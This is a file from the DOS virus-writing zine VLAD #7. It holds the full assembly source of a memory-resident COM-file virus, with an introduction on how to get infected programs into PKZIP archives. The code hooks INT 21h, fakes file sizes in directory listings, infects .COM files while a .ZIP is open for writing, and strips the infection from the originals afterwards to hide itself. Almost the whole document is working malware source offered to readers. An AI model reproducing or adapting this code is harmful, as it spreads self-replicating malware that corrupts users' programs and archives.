;Lately I've seen some viruses boasting they could infect archivers.
;(Hi Sepultura, didnt you test chaos-ad ???)
;This is quite simple for ARJ etc. But with PKZIP this is quite different,
;due to the way PKZIP gets the size of the files to be compressed.
;Most archivers look for files via INT 21h/ah=4Eh/4Fh.
;Then the file is opened and compressed, no matter whats in the DTA.
;PKZIP looks up filesizes before opening files and stores them somehow.
;Only the filesize in the DTA will be compressed. That means, if a FastInfector
;, infecting on OpenFile, is active, it will NOT be in the compressed file !
;(Well, yes, the header changes are compressed, but the main portion appended
;to the host will be lost).
;
;So the Idea is the following :
;-look for files with extension .ZIP being opened for Read/Write access
; (PKUNZIP opens for readonly)
;-if a ZIP-file is opened, set a flag for enabling infect on OpenFile
;-if a ZIP-File is closed, it is assumed compression is over -> clear flag
;-whenever FindFirst/FindNext occurs and flag is set,
; check if file is infectable; if so,
; increase FileSize in DTA (may do some DirStealth if not)
;-whenever a file is opened, check flag
;-if flag is set, infect file the usual way
;-disinfect when its closed (oly the archived files shall be infected)
;
;Care should be taken not to infect files whose size wasnt increased
;(CRC-Errors, corruption of program), or to increase Filesizes of files
;one will not infect later
;(resulting in CRC-Errors)
;
;
;The following code does it, but it is in NO way optimized.
;Some parts are plain bogus, as the whole stuff is experimental.
;It will infect suitable COMs that are compressed with PKZIP to an
;archive with the extension .ZIP, nothing else.
;
;Routines commented in Italian are with friendly permission of Tankard.
;
;And, ehhmmm, there is a problem with INT 21h/ah=4Eh. Some programs hang
;with this routine active, so i commented it out. (Solutions?)
;
;
;------------------Cut here--------------------------------------------
.model tiny
.radix 16
.286
.code
org 100h
jumps
len EQU vir_end-start
MCB_Flag EQU 00h ;
MCB_Owner EQU 01h ;
MCB_Size EQU 03h ;
MCB_Name EQU 08h ;
MCB_Junk EQU 05h ;
COMMAND_LENGTH EQU 11 ;
EnvPtr EQU 002ch ;
start:
call Get_Offset
Get_Offset:
pop si
mov cx,0FCFCh
mov ah,30h ;get DOS-Version ;-))
int 21h
cmp ax,0FADEh
je no_install
push si
add si,offset flag
sub si,offset get_offset
mov byte ptr cs:[si],'X' ;set flag off
pop si
; mov sp,si ;you want a stack ?
; add sp,offset vir_end
; add sp,200h
push cs ;
pop ds ;
MOV BP,SI ;
push si
SUB BP,Offset Get_Offset;
MOV Cx,00ffh ; Lunghezza del virus in memoria
CALL Alloca_Memory ;
JC qui1 ; se non c'era spazio a disposizione
MOV Di,0100h ; Copia addesso il virus in memoria alta
MOV Si,BP ;
ADD Si,0100h ;
MOV Cx,len ;
REP MOVSB ; Fine Copia
push es
mov ax,3521h
int 21h ;Get Int 21 Address
pop ds
mov word ptr ds:[offset Int_21],bx ;Save old Int 21
mov word ptr ds:[offset Int_21+02h],es
mov dx,Offset Int_21_Handler
mov ah,25h
int 21h ;Set Int 21
qui1: pop si
no_install:
;restore to host
;rewrite header
mov cx,05h
push cs
pop es
add si,offset header1
sub si,offset get_offset
mov di,0100h
rep movsb ;copy header ds:si->es:di
mov di,0100h
jmp di
mov ax,4C00h
int 21h
COMMAND_STR DB 'TANxxxxxxx',0
;
;----------------------------------------------------------------------------
Int_21_Handler:
cmp ah,3Dh ;Is open via Handle?
je open_handle
cmp ah,3Eh
je close_handle
cmp ah,4Fh ;size is checked beforehand !
je find_file
; cmp ah,4Eh ;findfirst
; je find_file
cmp ah,12h
je find_file_fcb
cmp ah,11h
je find_file_fcb
cmp ah,30h ;residency check, was DOS-Version
je im_here
jmp Go_Int_21 ;No, Restore control to Int 21
;------------------------------------------------------------------------
im_here:
cmp cx,0FCFCh
jne go_int_21
mov ax,0FADEh
iret
;------------------------------------------------------------------------
find_file_fcb:
pushf
call cs:[int_21]
jc fff_error
push ax bx cx dx ds es di si bp
pushf
cmp byte ptr cs:[offset flag],'#'
je no_need
mov ah,51h
int 21h ;get DTA
mov es,bx
cmp bx,es:[16h]
jnz no_need
mov bx,dx
mov al,[bx]
push ax
mov ah,2Fh
int 21h
pop ax
inc al
jnz standard_fcb
extended_fcb:
add bx,07h ;extended FCB
standard_fcb:
mov ax,es:[bx+17h] ;get time
and ax,0000000000011111b ;unmask seconds
xor ax,0000000000010101b ;is 42 s ?
jnz no_need
sub es:[bx+1Dh],len
; sbb es:[bx+1Fh],00h
no_need:
popf
pop bp si di es ds dx cx bx ax
fff_error:
retf 2
;-------------------------------------------------------------------------
find_file:
pushf
call cs:[int_21]
jc find_error
push ax bx cx dx ds es di si bp
pushf
mov ah,2Fh ;get DTA
int 21h ;es:bx->dta
cmp byte ptr cs:[offset flag],'#'
jne dir_stealth ;
mov cx,word ptr es:[bx+16h] ;get filetime
and cx,0000000000010101b
cmp cx,0000000000010101b ;is 42s ?
je is_infected
cmp word ptr es:[bx+1Ah],0EFFFh ;size, shouldnt be too big
ja is_infected
push bx
pop di
add di,1Eh
cld
mov cx,0Ah
mov ax,'C.' ;search filename for extension .COM
find_com_loop:
;dec di
scasw ;es:di=ax ?
je loc_01
dec di
dec cx
jnz find_com_loop
jmp is_infected
loc_01:
mov ax,'MO'
scasw
jne is_infected
; is *.COM of right size and time other than 42 sec, prepare for infection !
mov cx,word ptr es:[bx+16h]
and cx,1111111111100000b ;clear seconds
xor cx,0000000000010101b ;set 42 seconds (my marker)
mov word ptr es:[bx+16h],cx ;set time
add es:[bx+1Ah],len ;now add virus_size
jmp is_infected
dir_stealth:
mov ax,word ptr es:[bx+16h]
and ax,0000000000010101b
cmp ax,0000000000010101b
jne is_infected
sub es:[bx+1Ah],len
; sbb es:[bx+1Ah],00h
is_infected:
no_com:
popf
pop bp si di es ds dx cx bx ax
find_error:
retf 2
;------------------------------------------------------------------------
open_handle:
cmp byte ptr cs:[offset flag],'#' ;is a file .ZIP open ?
je infect
push ax bx cx dx ds es di bp si
push ax
push ds
pop es
push dx
pop di
mov al,'.'
cld
repne scasb ;al=es:di?
push es
pop ds
push di
pop si
lodsw ;ds:si->al
cmp ax,'IZ'
jne no_zip
lodsb ;ds:si->al
cmp al,'P'
jne no_zip
jmp set_flag ;if file of extension .ZIP is opened, set flag
no_zip:
pop ax
pop si bp di es ds dx cx bx ax
jmp go_int_21
infect: ;flag is set
pushf
call cs:[int_21] ;open requested file
jc quit
push ax bx cx dx ds es di bp si
xor bx,bx
mov bx,ax ;handle in bx
push bx
mov ax,1220h
int 2Fh
jc quit_sft
mov ax,1216h
mov bl,es:[di]
int 2Fh ;get es:di -> sft
jc quit_sft
mov word ptr cs:[offset sft_off],di
mov word ptr cs:[offset sft_seg],es
pop bx
mov es:[di+02h],byte ptr 02h ;set open_mode r/w
cmp word ptr es:[di+28h],'OC' ;is *.COM ?
jne quit
cmp byte ptr es:[di+2Ah],'M' ;is really *.COM ?
jne quit
mov cx,word ptr es:[di+0D] ;get time
and cx,0000000000010101b
cmp cx,0000000000010101b ;check if infected
je quit
mov ax,4200h
cwd
xor cx,cx
int 21h ;go start of file
jc quit
mov ah,3Fh
mov cx,05h
mov dx,offset header1
push cs
pop ds
int 21h ;read header to buffer
jc quit
mov cx,05h
push cs
pop es
mov si,offset header1
mov di,offset header2
rep movsb ;copy header
cmp word ptr cs:[offset header1+03h],'##' ; yet another infection
marker ;-))
je quit ;already infected
mov ax,4202h
cwd
xor cx,cx
int 21h ;go eof
jc quit
mov f_seg,dx
mov f_off,ax ;save eof for JMP
cmp ax,0EFFFh ;if file is too big
ja quit
mov ah,40h
mov cx,len
mov dx,0100h
int 21h ;append to host
jc quit
mov ax,4200h
cwd
xor cx,cx
int 21h ;go sof
jc quit
mov byte ptr cs:[header2],0E9h ;form jmp
sub f_off,03h
mov ax,f_off
mov word ptr cs:[header2+01h],ax
mov word ptr cs:[header2+03h],'##' ;infectmarker
mov ah,40h
mov cx,05h
mov dx,offset header2
int 21h ;write header to sof from ds:dx
jc quit
mov ax,4200h
cwd
xor cx,cx
int 21h ;go sof
jc quit
mov ax,5700h ;get date&time
int 21h ;dont want to change it
mov word ptr cs:[offset f_time],cx ;save time
mov word ptr cs:[offset f_date],dx ;save date
mov byte ptr cs:[offset marker],'I'
quit:
pop si bp di es ds dx cx bx ax
exit_infect:
iret
;---------------------------------------------------------------
disinfect: ;is not zip and no flag
pushf
call cs:[int_21] ;perform original open
retf 2 ;one could provide stealth capabilities here
;------------------------------------------------------------------------
set_flag:
pop ax
cmp al,00100010b ;is read/write access ?
je zip_rw
cmp al,00100000b ;is read/only acces ?
je zip_ro
jne no_flag
zip_rw:
mov byte ptr cs:[offset flag],'#'
jmp short no_flag
zip_ro:
mov byte ptr cs:[offset flag],'@'
jmp short no_flag
no_flag:
pop si bp di es ds dx cx bx ax
jmp go_int_21
;------------------------------------------------------------------------
close_handle:
;is *.zip closed ? if yes clear flag
;is no zip and flag is on -> disinfect
push ax bx cx dx ds es di bp si
mov ax,1220h
push bx
int 2Fh
jc quit_sft
mov ax,1216h
mov bl,es:[di]
int 2Fh ;get sft -> es:di
jc quit_sft
cmp byte ptr es:[di+28h],'Z'
jne not_zip
cmp word ptr es:[di+29h],'PI'
jne not_zip
clear_flag:
mov byte ptr cs:[offset flag],'X'
jmp quit_sft
not_zip:
;is zip-r/w-access (flag='#') -> disinfect
;is zip-r/o-access (flag='@') -> no disinfect
cmp byte ptr cs:[offset flag],'#'
jne try_slow_infect
call disinfect_handle
jmp quit_sft
try_slow_infect: ;all this is plain stupid !
mov al,byte ptr es:[di+02h]
and al,00000011b ;last two bits are (w/o or r/w)
cmp al,00h
je quit_sft
quit_sft:
mov byte ptr cs:[offset marker],'N'; .ZIP is closed, so clear flag
pop bx
pop si bp di es ds dx cx bx ax
jmp go_int_21
;------------------------------------------------------------------------
disinfect_handle:
push ax bx cx dx ds es di bp si
xchg ax,bx
cmp byte ptr cs:[offset marker],'I'
jne quit_d
push bx
mov ax,1220h
int 2Fh
mov ax,1216h
mov bl,es:[di]
int 2Fh ;get es:di -> sft
mov word ptr cs:[offset sft_off],di
mov word ptr cs:[offset sft_seg],es
pop bx
cmp word ptr es:[di+28h],'OC' ;is *.COM ?
jne quit_d
cmp byte ptr es:[di+2Ah],'M' ;is really *.COM ?
jne quit_d
mov es:[di+02h],byte ptr 02h ;set open_mode r/w
mov ax,4200h
xor dx,dx
xor cx,cx
int 21h ;go sof
jc quit_d
mov ah,3Fh
mov cx,05h
mov dx,offset header2
push cs
pop ds
int 21h ;read header
jc quit_d
cmp word ptr cs:[header2+03h],'##' ;check infectmarker
jne quit_d
mov dx,word ptr cs:[offset header2+01h] ;read jmp-adress
push dx ;save
add dx,offset header1
sub dx,0FDh ; = -0100h +03h
xor cx,cx
mov ax,4200h
int 21h ;set filepointer to original header
jc quit_d
mov ah,3Fh
mov cx,05h
mov dx,offset header2
push cs
pop ds
int 21h ;read original header from virusbody
jc quit_d
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;filepointer to start
mov ah,40h
mov cx,05h
push cs
pop ds
mov dx,offset header2
int 21h ;write header to sof from ds:dx
jc quit_d
mov ax,4200h
pop dx ;saved jmp
add dx,03h
xor cx,cx
int 21h ;move filepointer there
mov ah,40h
xor cx,cx
int 21h ;truncate file at old JMP
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
mov ax,5701h
mov cx,word ptr cs:[offset f_time] ;set date&time
mov dx,word ptr cs:[offset f_date]
int 21h
quit_d:
pop si bp di es ds dx cx bx ax
ret
;this is with friendly permission of TANKARD (thanx dude)
Alloca_Memory PROC NEAR
MOV Ah,4Ah ;
MOV Bx,0FFFFh ; richiedi il numero di blocchi
INT 21h ; del programma ospite
SUB Bx,Cx ;
JB _lab1 ;
MOV Ah,4Ah ; modifica il numero di blocchi
INT 21h ; attuali per liberare spazio
; per allocare il virus
MOV Ah,48h ;
DEC Cx ; alloca lo spazio per con-
MOV Bx,Cx ; tenere il virus
INT 21h ;
JC _lab1 ;
DEC Ax ;
MOV ES,Ax ;
INC Ax ; fallo stare residente come
MOV ES:[MCB_Owner],Ax ; un prg TSR
MOV Dx,Ax ;
MOV Ah,26h ;
INT 21h ; crea nuovo PSP per il blocco
; di memoria
MOV Di,MCB_Junk ;
LEA Si,COMMAND_STR ; - 06h ;
ADD Si,BP ; copy nel Memory Control Block
MOV Cx,COMMAND_LENGTH ; la stringa "COMMAND"
PUSH CS ;
POP DS ;
REP MOVSB ;
MOV Ax,ES ;
INC Ax ;
MOV ES,Ax ;
CLC ;
RET ;
_lab1 : STC ;
RET ;
Alloca_Memory ENDP
Go_Int_21:
db 0EAh ;Go On With Int 21
Int_21 dd ?
flag db 00h
header1 db 0CDh, 20h, 00h, 00h, 00h, 00h ;this is just for this very COM-File
header2 db 05h dup (?) ; it means INT 20h
f_time dw ?
f_date dw ?
sft_off dw ?
sft_seg dw ?
f_off dw ?
f_seg dw ?
marker db ?
vir_name db '??' ;Never named one!
vir_end:
end start
- VLAD #7 INDEX -